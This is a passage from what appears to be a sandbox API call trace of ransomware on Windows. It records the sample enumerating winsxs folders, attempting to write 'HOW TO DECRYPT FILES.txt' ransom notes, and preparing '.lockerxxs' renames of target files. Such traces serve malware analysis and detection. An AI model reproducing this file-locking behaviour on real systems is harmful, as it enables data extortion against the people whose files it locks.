(pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.wav") returned 0 [0165.410] lstrlenA (lpString="*.wav") returned 5 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.mp3") returned 0 [0165.411] lstrlenA (lpString="*.mp3") returned 5 [0165.411] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.aiff") returned 0 [0165.411] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb40d7768, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb40d7768, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x961dae7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_regiis.exe", cAlternateFileName="ASPNET~1.EXE")) returned 0 [0165.411] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.411] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112452f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112452f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc", cAlternateFileName="AM07C9~1.163")) returned 1 [0165.416] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc") returned -1 [0165.416] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc") returned -1 [0165.416] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.416] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc" [0165.417] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112452f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112452f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.417] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.418] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112452f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112452f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.418] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.418] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.418] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4208250, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb4208250, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x962733f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Aspnet_regsql.exe.config", cAlternateFileName="ASPNET~1.CON")) returned 1 [0165.418] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.418] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Aspnet_regsql.exe.config") returned 1 [0165.418] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Aspnet_regsql.exe.config") returned 1 [0165.418] lstrcmpiA (lpString1="", lpString2="Aspnet_regsql.exe.config") returned -1 [0165.418] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\*.*") returned="*.*" [0165.418] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\" [0165.418] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\") returned="" [0165.418] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\HOW TO DECRYPT FILES.txt" [0165.418] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\how to decrypt files.txt")) returned 0xffffffff [0165.418] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.419] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.419] CloseHandle (hObject=0xffffffff) returned 0 [0165.419] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\", lpString2="Aspnet_regsql.exe.config" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\Aspnet_regsql.exe.config") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\Aspnet_regsql.exe.config" [0165.419] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regsql_cfg_b03f5f7f11d50a3a_6.1.7600.16385_none_091962c20a8805bc\\Aspnet_regsql.exe.config", pszSpec="*.ems") returned 0 [0165.419] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4208250, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb4208250, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x962733f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Aspnet_regsql.exe.config", cAlternateFileName="ASPNET~1.CON")) returned 0 [0165.420] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.420] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112452f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112452f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd", cAlternateFileName="AM4A68~1.163")) returned 1 [0165.420] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd") returned -1 [0165.420] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd") returned -1 [0165.420] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.420] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd" [0165.420] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112452f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112452f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.422] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.422] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112452f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112452f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.422] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.422] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.423] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb606186c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb606186c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c0532a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x85d8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="InstallRoles.sql", cAlternateFileName="INSTAL~1.SQL")) returned 1 [0165.423] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.423] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallRoles.sql") returned -1 [0165.423] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallRoles.sql") returned -1 [0165.423] lstrcmpiA (lpString1="", lpString2="InstallRoles.sql") returned -1 [0165.423] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\*.*") returned="*.*" [0165.423] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\" [0165.423] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\") returned="" [0165.423] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\HOW TO DECRYPT FILES.txt" [0165.423] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\how to decrypt files.txt")) returned 0xffffffff [0165.423] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.423] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.424] CloseHandle (hObject=0xffffffff) returned 0 [0165.424] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\", lpString2="InstallRoles.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql" [0165.424] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql", pszSpec="*.ems") returned 0 [0165.424] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql" [0165.424] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql" [0165.424] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql." [0165.424] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql.lockerxxs" [0165.424] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\installroles.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.424] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4ef71b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe4ef71b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa5623367, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x16ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallRoles.sql", cAlternateFileName="UNINST~1.SQL")) returned 1 [0165.425] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.425] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallRoles.sql") returned -1 [0165.425] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallRoles.sql") returned -1 [0165.425] lstrcmpiA (lpString1="", lpString2="UninstallRoles.sql") returned -1 [0165.425] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\InstallRoles.sql") returned="InstallRoles.sql" [0165.425] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\" [0165.425] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\") returned="" [0165.425] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\HOW TO DECRYPT FILES.txt" [0165.425] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\how to decrypt files.txt")) returned 0xffffffff [0165.425] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.425] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.425] CloseHandle (hObject=0xffffffff) returned 0 [0165.426] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\", lpString2="UninstallRoles.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql" [0165.426] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql", pszSpec="*.ems") returned 0 [0165.426] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql" [0165.426] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql" [0165.426] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql." [0165.426] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql.lockerxxs" [0165.426] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\UninstallRoles.sql" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_roles_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_bf800577fe8d01bd\\uninstallroles.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.426] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, 